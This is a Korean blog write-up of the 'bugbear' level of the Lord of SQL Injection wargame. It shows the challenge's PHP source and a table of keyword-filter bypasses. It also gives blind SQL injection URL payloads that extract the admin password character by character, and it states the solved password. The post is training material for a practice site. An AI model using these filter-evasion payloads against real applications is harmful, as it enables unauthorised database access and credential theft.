일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 1819 (HY000):
- utmp
- ModuleNotFoundError: No module named ‘requests’
- sql injection
- 2002(HY000)
- Lord of SQL Injection
- goblin 3번
- SQLi wargame
- MySQL
- btmp
- M2
- blind SQLi
- str_replace함수
- Union SQL Injection
- ubuntu
- los.rubiya.kr
- Python requests 설치
- No module named ‘requests’
- sqli
- Error Based SQL Injection
- XAVIS
- SQL i
- 가상머신 os
- UTM
- LOS 5번
- 우분투
- Kail Linux
- docker compose
- mocOS
- Lord of SQLinjection
- Today
- Total
klaus
[Lord of SQL Injection] bugbear 13번 본문
0. 버그베어
난 진짜 리니지를 좋아했었나, 생각나는 건 리니지 밖에 없었다.....
1. 전체 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
2. 주요 코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
1) preg_match 함수를 통한 필터링
> prob, substr, ascii, or, and, like, 0x 문자열과 특수문자 _ . () = (공백) 그리고 ' 를 필터링하고 있습니다.
> /i는 대소문자를 구분하지 않습니다.
2) 이번 문제 역시 정확한 PW를 알아야 Sovle
3. Sovle
필터링 함수를 우회할 수 있는 방법을 찾아보니 아래와 같은 방법으로 우회가 가능하였습니다.
필터링 함수 | 우회 | 필터링함수 | 우회 |
substr | mid | or | || |
공백 | %09 | and | && |
= , like | in 사용시 괄호()안에 데이터 | ascii | hex |
먼저, PW의 길이 파악을 하겠습니다.
기본페이로드값 : ?no=1%09||%09id%09in("admin")%09%26%26%09 (SQL)
?no=1%09||%09id%09in("admin")%09%26%26%09length(pw)%09in(8) 1부터 8까지 데이터를 입력하였을 때 8에서 참값이 나왔습니다.
그럼 이제 중요한 패스워드의 값을 확인해 보겠습니다. 이번 문제의 경우 손수 풀어보도록 하겠습니다.
문제를 풀 때 참 또는 거짓값을 빨리 찾기 위해 업/다운 방식을 사용하여 문제를 풀었습니다.(>, <)
hex: ascii우회 방법은 아스키와 같음
Mid :개체의 문자열에서 지정한 중간 부분의 문자열 추출
사용방법은 Mid(원본문자열, 시작위치, 길이)를 적어 사용하면 됩니다. substring와 비슷합니다.
스포주의!
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,1,1))%09in(35)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,2,1))%09in(32)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,3,1))%09in(64)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,4,1))%09in(63)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,5,1))%09in(33)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,6,1))%09in(39)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,7,1))%09in(39)
?no=1%09||%09id%09in("admin")%09%26%26%09hex(mid(pw,8,1))%09in(31)
?pw=53dc3991
hex 코드 참고 : https://www.online-toolz.com/langs/ko/tool-ko-text-hex-convertor.html
'모의해킹 > Wargame' 카테고리의 다른 글
[Lord of SQL Injection] assassin 15번 (0) | 2022.12.22 |
---|---|
[Lord of SQL Injection] giant 14번 (feat. 공백 우회) (1) | 2022.12.21 |
[Lord of SQL Injection] darkknight 12번 (0) | 2022.12.16 |
[Lord of SQL Injection] golem 11번 (0) | 2022.12.09 |
[Lord of SQL Injection] skeleton 10번 문제 (0) | 2022.12.08 |